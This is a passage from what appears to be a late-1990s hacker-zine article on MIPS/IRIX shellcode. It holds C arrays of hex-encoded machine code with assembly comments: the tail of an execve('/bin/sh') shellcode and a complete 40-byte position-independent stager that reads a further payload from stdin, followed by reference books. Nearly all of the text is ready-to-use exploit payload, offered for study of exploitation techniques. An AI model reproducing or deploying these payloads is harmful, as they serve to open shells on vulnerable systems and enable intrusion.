0x27a5fff8, /* addiu $a1, $sp, -8 */
|
||
|
0x24020423, /* li $v0, 1059 (execve) */
|
||
|
0x0101010c, /* syscall */
|
||
|
0x240f7350, /* li $t7, 0x7350 (nop) */
|
||
|
0x2f62696e, /* .ascii "/bin" */
|
||
|
0x2f736842, /* .ascii "/sh", .byte 0xdummy */
|
||
|
};
|
||
|
<-->
|
||
|
<++> p56/MIPS-shellcode/shc_read.h !1996c2bb
|
||
|
/* 40 byte MIPS/Irix PIC stdin-read shellcode. -scut/teso
|
||
|
*/
|
||
|
unsigned long int shellcode[] = {
|
||
|
0x24048cb0, /* li $a0, -0x7350 */
|
||
|
/* dpatch: */ 0x0490ffff, /* bltzal $a0, dpatch */
|
||
|
0x2804ffff, /* slti $a0, $zero, -1 */
|
||
|
0x240fffe3, /* li $t7, -29 */
|
||
|
0x01e07827, /* nor $t7, $t7, $zero */
|
||
|
0x03ef2821, /* addu $a1, $ra, $t7 */
|
||
|
0x24060201, /* li $a2, 0x0201 (513 bytes) */
|
||
|
0x240203eb, /* li $v0, SYS_read */
|
||
|
0x0101010c, /* syscall */
|
||
|
0x24187350, /* li $t8, 0x7350 (nop) */
|
||
|
};
|
||
|
<-->
|
||
|
|
||
|
|
||
|
----| References
|
||
|
|
||
|
For further information you may want to consult this excellent references:
|
||
|
|
||
|
[1] See MIPS Run
|
||
|
Dominic Sweetman, Morgan Kaufmann Publishers
|
||
|
ISBN 1-55860-410-3
|
||
|
|
||
|
[2] MIPSPro Assembly Language Programmer's Guide - Volume 1/2
|
||
|
Document Number 007-2418-001
|
||
|
http://www.mips.com/ and http://www.sgi.com/
|
||
|
|
||
|
|EOF|-------------------------------------------------------------------------|
|
||
|
|